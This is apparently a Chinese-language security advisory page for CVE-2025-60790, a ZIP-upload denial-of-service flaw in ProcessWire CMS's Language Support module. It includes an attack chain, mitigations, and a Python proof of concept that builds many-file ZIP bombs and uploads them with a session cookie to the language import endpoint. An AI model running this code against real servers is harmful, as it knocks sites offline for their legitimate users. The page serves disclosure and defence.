IPBUF安全漏洞报告
English
CVE-2025-60790 CVSS 6.5 中危

CVE-2025-60790:ProcessWire CMS ZIP上传资源耗尽拒绝服务漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-60790
漏洞类型
拒绝服务攻击(资源耗尽型DoS)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProcessWire CMS

相关标签

CVE-2025-60790ProcessWire CMS拒绝服务DoS资源耗尽ZIP炸弹压缩炸弹Zip Bomb文件上传漏洞低权限攻击

漏洞概述

CVE-2025-60790是ProcessWire CMS 3.0.246版本中存在的资源耗尽型拒绝服务漏洞。该漏洞源于ProcessWire CMS的Language Support(语言支持)模块在处理用户上传的ZIP文件时存在安全缺陷。具体而言,拥有lang-edit权限的低权限用户可以向Language Support模块上传特制的ZIP压缩包,系统在执行文件验证之前会自动解压该ZIP包,且解压过程缺乏对文件大小、数量及解压后总占用空间的限制。攻击者可以利用这一缺陷,通过上传包含大量小文件或超大文件的恶意ZIP包,使服务器在解压过程中消耗大量磁盘空间、内存和CPU资源,最终导致服务器资源耗尽,正常服务不可用。该漏洞的CVSS 3.1评分为6.5分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),对机密性影响低(C:L),对完整性无影响(I:N),对可用性影响高(A:H)。该漏洞由安全研究人员发现并报告,相关的安全研究资料已在GitHub上公开披露,ProcessWire官方issues页面也对此漏洞进行了跟踪记录。

技术细节

ProcessWire CMS的Language Support模块允许管理员或具有lang-edit权限的用户通过上传ZIP文件来导入语言包。该模块在处理ZIP上传时存在以下技术缺陷:

1. **解压顺序问题**:系统在调用验证逻辑之前就已经执行了ZIP文件的解压操作,这意味着恶意构造的ZIP文件在被检测到异常之前就已经开始消耗服务器资源。

2. **缺乏资源限制**:解压过程没有对以下方面进行限制:
- ZIP文件总大小
- 解压后文件的总占用空间
- ZIP包内文件数量
- 单个文件大小
- 嵌套目录深度
- 压缩比(防止压缩炸弹/Zip Bomb)

3. **权限要求较低**:攻击者仅需要lang-edit权限即可触发该漏洞,该权限通常授予内容编辑人员或翻译人员,属于低权限级别。

**利用方式**:攻击者首先获取一个具有lang-edit权限的账户(通过社工、弱口令或其他方式),然后构造一个包含大量小文件或具有极高压缩比的ZIP文件(也称为"压缩炸弹"或Zip Bomb),通过Language Support模块的上传接口提交该文件。服务器接收到ZIP后自动开始解压,由于缺乏限制,解压过程将迅速消耗服务器的磁盘空间、内存和CPU资源,导致服务器响应变慢甚至完全不可用,实现拒绝服务攻击。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过社工、弱口令爆破、钓鱼或利用其他漏洞获取一个具有lang-edit权限的ProcessWire CMS账户。该权限通常授予翻译人员或内容编辑人员,属于低权限级别。
STEP 2
步骤2:构造恶意ZIP文件
攻击者构造一个特制的ZIP压缩包,其中包含大量小文件或使用高压缩比的重复数据(压缩炸弹/Zip Bomb),目的是在解压时消耗大量服务器资源。
STEP 3
步骤3:上传ZIP至Language Support模块
攻击者通过ProcessWire CMS的Language Support模块上传接口(/processwire/setup/language/)提交恶意ZIP文件。系统在验证之前自动开始解压操作。
STEP 4
步骤4:资源耗尽
由于解压过程缺乏对文件大小、数量和总占用空间的限制,恶意ZIP在解压过程中迅速消耗服务器的磁盘空间、内存和CPU资源。
STEP 5
步骤5:拒绝服务
服务器因资源耗尽而无法正常响应合法用户的请求,网站服务完全不可用,实现拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60790 PoC - ProcessWire CMS ZIP Upload Resource Exhaustion DoS # This PoC demonstrates how to create a malicious ZIP file that causes # resource exhaustion when auto-extracted by ProcessWire CMS Language Support module import zipfile import io import os import argparse def create_zip_bomb(output_path, num_files=100000, file_size=1024): """ Create a ZIP bomb that contains many small files to exhaust server resources when auto-extracted without limits. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for i in range(num_files): # Create small files with repetitive content (high compression ratio) content = b'A' * file_size filename = f'lang_files/file_{i}.po' zf.writestr(filename, content) print(f"[+] ZIP bomb created: {output_path}") print(f"[+] Contains {num_files} files of {file_size} bytes each") def create_nested_zip_bomb(output_path, depth=5, files_per_level=100): """ Create a nested ZIP structure to maximize resource consumption during extraction. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for i in range(files_per_level): inner_content = os.urandom(10240) # 10KB random data per file for d in range(depth): path = '/'.join([f'level_{d}' for d in range(d+1)]) + f'/file_{i}.txt' zf.writestr(path, inner_content) print(f"[+] Nested ZIP bomb created: {output_path}") def upload_to_processwire(target_url, zip_path, session_cookie): """ Upload the malicious ZIP to ProcessWire Language Support module. Requires a valid session cookie from an account with lang-edit permission. """ import requests headers = { 'Cookie': f'wire_challenge={session_cookie}', 'User-Agent': 'Mozilla/5.0' } with open(zip_path, 'rb') as f: files = {'language_import': (os.path.basename(zip_path), f, 'application/zip')} response = requests.post( f'{target_url}/processwire/setup/language/', files=files, headers=headers ) print(f"[+] Upload response status: {response.status_code}") return response if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-60790 PoC') parser.add_argument('--output', default='malicious_lang.zip', help='Output ZIP path') parser.add_argument('--files', type=int, default=100000, help='Number of files in ZIP') parser.add_argument('--size', type=int, default=1024, help='Size of each file in bytes') parser.add_argument('--nested', action='store_true', help='Create nested ZIP bomb') args = parser.parse_args() if args.nested: create_nested_zip_bomb(args.output) else: create_zip_bomb(args.output, args.files, args.size) # Usage example: # python poc.py --output malicious.zip --files 500000 --size 4096 # Then upload via: POST /processwire/setup/language/ with language_import file

影响范围

ProcessWire CMS 3.0.246

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1)限制lang-edit权限的分配范围,仅授予可信用户;2)在Web服务器层面(如Nginx/Apache)限制上传文件大小;3)监控Language Support模块的异常上传行为;4)设置服务器资源使用告警,及时发现资源耗尽攻击;5)定期检查服务器磁盘空间使用情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表